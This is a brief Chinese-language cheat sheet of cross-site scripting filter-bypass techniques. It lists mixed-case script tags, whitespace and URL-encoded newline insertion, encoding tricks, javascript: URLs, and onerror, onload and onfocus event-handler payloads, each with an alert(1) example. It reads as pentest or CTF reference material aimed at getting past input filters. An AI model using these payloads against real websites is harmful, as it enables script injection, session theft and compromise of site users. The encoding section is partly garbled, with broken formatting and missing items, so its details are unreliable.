XSS 绕过方式
1. 大小写混淆绕过
许多过滤规则是针对特定大小写模式的,比如 <script>
。你可以尝试使用大小写混淆的方式来绕过,例如:
<sCrIpT>
<ScrIpT>
<SCript>
这种方式通常在不区分大小写的环境中有效
2. 空白字符、换行符和 Tab 键绕过
过滤器有时会忽略或者处理不当某些空白字符。你可以尝试在标签、属性名或者属性值之间插入空格、换行符(%0a
或%0d
)或者 Tab 键(%09
)来绕过,例如:
<img src="javascript:alert(1);">
可以尝试写成<img src=" javascript: alert(1); ">
<script>alert(1)</script>
可以尝试写成<script%0a>alert(1)</script>
3. 使用编码绕过
许多过滤器会试图拦截特定字符,比如尖括号 < >
和引号 "
'
。你可以使用 HTML 实体编码、URL 编码或者其他编码方式来绕过
- URL 编码:
(
编码为%28
)
编码为%29
` 编码为
%20`
4. 标签和属性嵌套绕过
有些过滤器可能只过滤顶层的脚本标签,但忽略嵌套的标签。你可以尝试在标签内部使用其他标签或者属性来注入,例如:
<a href="javascript:alert(1)">Click Me</a>
<img src="x" onerror="alert(1)">
<svg onload=alert(1)>
5. 事件处理器绕过
除了最常见的 onload
和 onerror
事件,还有很多其他事件可以用来触发脚本,例如:
onmouseover
onmouseout
onclick
onfocus
onblur
onchange
例如:<input onfocus=alert(1) autofocus>
6. 使用特殊字符绕过
一些特殊字符,如反引号(`)、反斜杠(``)等,在特定情况下可以用来绕过过滤。例如,在某些 JavaScript 语法中,反引号可以用来包裹字符串并执行代码